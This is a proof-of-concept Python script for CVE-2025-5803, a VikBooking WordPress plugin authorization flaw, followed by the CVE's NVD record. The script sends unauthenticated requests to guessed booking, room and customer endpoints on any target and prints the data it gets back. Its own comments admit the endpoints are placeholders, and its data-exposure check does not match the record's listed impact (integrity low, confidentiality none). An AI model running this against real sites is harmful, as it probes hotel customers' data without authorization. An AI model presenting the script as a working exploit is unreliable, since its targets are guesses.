CVE-2025-5803

import requests import sys def check_vulnerability(target_url): """ CVE-2025-5803 PoC - VikBooking Missing Authorization This PoC demonstrates the authorization bypass in VikBooking plugin. Replace the endpoint with the actual vulnerable endpoint identified. """ # Target WordPress site with VikBooking plugin target = target_url.rstrip('/') # Identify VikBooking REST API endpoints # Common endpoints pattern: /wp-json/vikbooking/... endpoints = [ f'{target}/wp-json/vikbooking/bookings', f'{target}/wp-json/vikbooking/rooms', f'{target}/wp-json/vikbooking/customers', f'{target}/?option=com_vikbooking&task=bookings', f'{target}/?option=com_vikbooking&task=rooms' ] print(f"[*] Testing CVE-2025-5803 on {target}") print(f"[*] Target: VikBooking Hotel Booking Engine & PMS <= 1.8.2") print(f"[*] Vulnerability: Missing Authorization (Broken Access Control)") print("-" * 60) for endpoint in endpoints: try: # Send unauthenticated request (no cookies/auth headers) response = requests.get(endpoint, timeout=10) # Check if request succeeds without authentication if response.status_code == 200: print(f"[!] VULNERABLE: {endpoint}") print(f" Status: {response.status_code}") print(f" Response Length: {len(response.text)} bytes") try: data = response.json() print(f" Data Preview: {str(data)[:200]}...") except: print(f" Response: {response.text[:200]}...") elif response.status_code == 401 or response.status_code == 403: print(f"[+] SAFE: {endpoint} - Properly protected") else: print(f"[-] INFO: {endpoint} - Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] ERROR testing {endpoint}: {e}") print("-" * 60) print("[*] Note: This PoC checks for exposed endpoints.") print("[*] Manual verification may be needed for specific attack scenarios.") if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://example.com") sys.exit(1) check_vulnerability(sys.argv[1])

{"cve": {"id": "CVE-2025-5803", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:02.763", "lastModified": "2026-04-27T19:16:17.220", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in e4jvikwp VikBooking Hotel Booking Engine & PMS vikbooking.This issue affects VikBooking Hotel Booking Engine & PMS: from n/a through <= 1.8.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/vikbooking/vulnerability/wordpress-vikbooking-hotel-booking-engine-pms-plugin-1-8-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}